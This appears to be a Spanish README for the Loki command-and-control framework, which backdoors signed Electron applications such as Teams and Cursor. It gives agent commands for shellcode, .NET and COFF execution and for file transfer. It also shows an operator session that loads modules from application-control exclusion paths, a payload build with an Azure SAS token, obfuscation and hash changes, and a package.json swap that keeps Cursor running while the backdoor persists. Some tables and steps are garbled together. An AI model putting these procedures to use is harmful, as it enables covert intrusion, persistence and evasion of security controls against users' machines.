
🧙♂️ Comando y Control con Node.js para el Script-Jacking de aplicaciones Electron vulnerables
Loki es un framework de comando y control (C2) de etapa 1 escrito en Node.js, diseñado para secuestrar scripts (script-jacking) de aplicaciones Electron vulnerables MITRE ATT&CK T1218.015. Desarrollado para operaciones de red team, Loki permite la evasión de software de seguridad y la omisión de controles de aplicaciones al explotar aplicaciones Electron confiables y firmadas.
El script-jacking secuestra el flujo de ejecución de una aplicación Electron al modificar archivos JavaScript cargados en tiempo de ejecución con código Node.js arbitrario. Esta técnica se puede aprovechar para:
Si bien varias herramientas ya abordan el uso de script-jacking para encadenar la ejecución a otro proceso, Loki es la primera en permitir el backdoor y el hollowing de aplicaciones Electron firmadas sin invalidar su firma de código.
Para obtener más detalles sobre cómo funciona Loki, consulta esta publicación de blog:

| Nombre | Contribuciones |
|---|
| Bobby Cooke | Creador y mantenedor |
| Dylan Tran | Creador |
| Ellis Springe | Probador Alpha |
| Shawn Jones | Código de ejecución de ensamblado |
| Trusted Sec | Código de COFFLoader |
| Simon Exley | Creador de vídeo |
| Clinton Elves | Creador de vídeo |
| John Hammond | Creador de vídeo |
¡Mira este video de John Hammond sobre cómo hacer backdoor a Cursor AI con Loki C2! 🎩
¡Mira este video de Simon Exley y Clinton Elves sobre cómo poner en marcha Loki C2! 🧙♂️
Todos los comandos del agente están escritos en Node.JS nativo y no requieren dependencias adicionales ni eventos de carga de bibliotecas. Con la excepción de los comandos scexec y assembly, que realizan una carga de biblioteca en keytar.node y assembly.node
/; \ en las rutas no funcionará.| Comando | Descripción |
|---|---|
help | Mostrar ayuda. Uso: help o help scan |
pwd | Imprimir el directorio de trabajo |
ls | Listado de archivos y directorios |
cat | Mostrar el contenido de un archivo |
env | Mostrar las variables de entorno del proceso |
spawn | Crear un proceso hijo |
drives | Listar unidades |
mv | Mover un archivo a un nuevo destino |
sleep | Dormir durante segundos con jitter |
cp | Copiar un archivo de origen a un destino |
exit-all | Sale del agente; el agente ya no volverá a conectarse |
load | Cargar un archivo PE de Node desde el disco en el proceso |
scexec | Ejecutar shellcode |
assembly | Ejecutar un ensamblado .NET y obtener la salida del comando |
upload | Subir un archivo desde tu máquina operadora local a la máquina agente remota |
download | Descargar un archivo desde la máquina agente remota a la máquina operadora local |
scan | Realizar un escaneo de red TCP en un rango CIDR con puertos seleccionados |
dns | Consulta DNS. Utiliza la configuración DNS del sistema |
set | Establecer las rutas de carga de Node para los nodos de ensamblado y scexec |
bof | Ejecutar un archivo COFF y devolver la salida |
Set - Carga de nodos desde rutas de exclusión de control de aplicacionesset para cambiar las rutas de carga de assembly.node y scexec.node.ls, cat, cp y mv, es posible enumerar las reglas de control de aplicaciones para descubrir un directorio escribible que sea una exclusión.set para cambiar su ruta de carga al directorio de exclusión y así evadir el control de aplicaciones.[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
Primero necesitas identificar una aplicación Electron vulnerable que no realice comprobaciones de integridad de seguridad ASAR, como Microsoft Teams. Las aplicaciones más nuevas pueden tener comprobaciones de integridad que impidan el backdoor. Las versiones más antiguas de la aplicación objetivo son más propensas a ser vulnerables.
No necesitas compilar el agente al hacer backdoor a aplicaciones Electron. Simplemente reemplaza el contenido de {ELECTRONAPP}/resources/app/ con los archivos del agente Loki.
cd en éljavascript-obfuscatornpm install --save-dev javascript-obfuscator
create_agent_payload.js para crear un payload de Loki con la información de tu cuenta de almacenamientobobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/{ELECTRONAPP}/resources/./app/ de Loki a {ELECTRONAPP}/resources/app/Inicia el cliente GUI de Loki
Desde la barra de menús, haz clic en Loki Client > Configuration para abrir la ventana de configuración
Introduce los detalles de tu cuenta de almacenamiento y haz clic en Save

El agente debería aparecer ahora en el panel
Haz clic en el agente desde la tabla del panel para abrir la ventana del agente
Prueba para asegurarte de que Loki funciona correctamente
La forma más sencilla de usar Loki es reemplazar los archivos en {ELECTRONAPP}/resources/app/ con los archivos de Loki. Esto vacía la aplicación, lo que significa que la aplicación no funcionará con normalidad -- Loki reemplazó su funcionalidad.
Si realmente quieres mantener la aplicación Electron ejecutándose y que además despliegue Loki en segundo plano, ¡no todo está perdido! John Hammond y yo descubrimos una forma de mantener la aplicación Electron real ejecutándose. Hemos añadido el archivo que necesitarás en /loki/backdoor/init.js en este repositorio.
Actualmente está configurado para funcionar con Cursor, descubierto como vulnerable por John Hammond.
Para hacer esto necesitarás:
package.json en cursor/resources/app/
package.json real/loki/backdoor/init.js en cursor/resources/app/cursor/resources/app/package.json para:
"main":"init.js","type":"module","private":true,Cursor.exe cargará init.js al hacer clic / ejecutarseinit.js lee package.jsoninit.js cambia "main":"init.js", a "main":"main.js",
main.js es Lokiinit.js genera y deshereda un nuevo Cursor.exe que apunta a Lokiinit.js lee package.json de nuevoinit.js cambia "main":"main.js", a "main":"./out/main.js",
./out/main.js" es la aplicación real de Cursorinit.js genera y deshereda un nuevo Cursor.exe que apunta al Cursor realinit.js captura la salidainit.js lee package.json por tercera vezinit.js cambia "main":"./out/main.js", a "main":"init.js",De esta manera, la aplicación queda comprometida de forma persistente y funciona con normalidad. Si la aplicación de Cursor se cierra, Loki continuará ejecutándose en segundo plano.
Haré un script para automatizar esto en el futuro.
Estas son las instrucciones de compilación para construir los agentes y clientes. Las instrucciones cubren múltiples plataformas, incluyendo Windows, Linux y macOS. Se recomienda compilar el cliente en la plataforma y arquitectura de destino.
Si estás comprometiendo una aplicación Electron, no necesitas compilar agentes.
No recomiendo compilar el agente y usarlo en operaciones. Las instrucciones de compilación del agente son para desarrollo.
~/Downloads/Teams/Teams.exe*.blob.core.windows.netnetstat.exe o whoami.exepackage.json de Loki en ~/AppData/Roaming/{NAME} cuando el JavaScript de Loki se ejecute en el proceso de Electron.%LOCALAPPDATA%\Microsoft\Teams\current\app creado%LOCALAPPDATA%\Microsoft\Teams\current\app.asar creado/modificado por un instalador/actualizador que no es de TeamsEste proyecto está bajo la Licencia Business Source License 1.1. El uso no comercial está permitido bajo los términos de la licencia. El uso comercial requiere el permiso explícito del autor. El 3 de abril de 2030, esta licencia se convertirá a Apache 2.0. Consulta LICENSE para más detalles.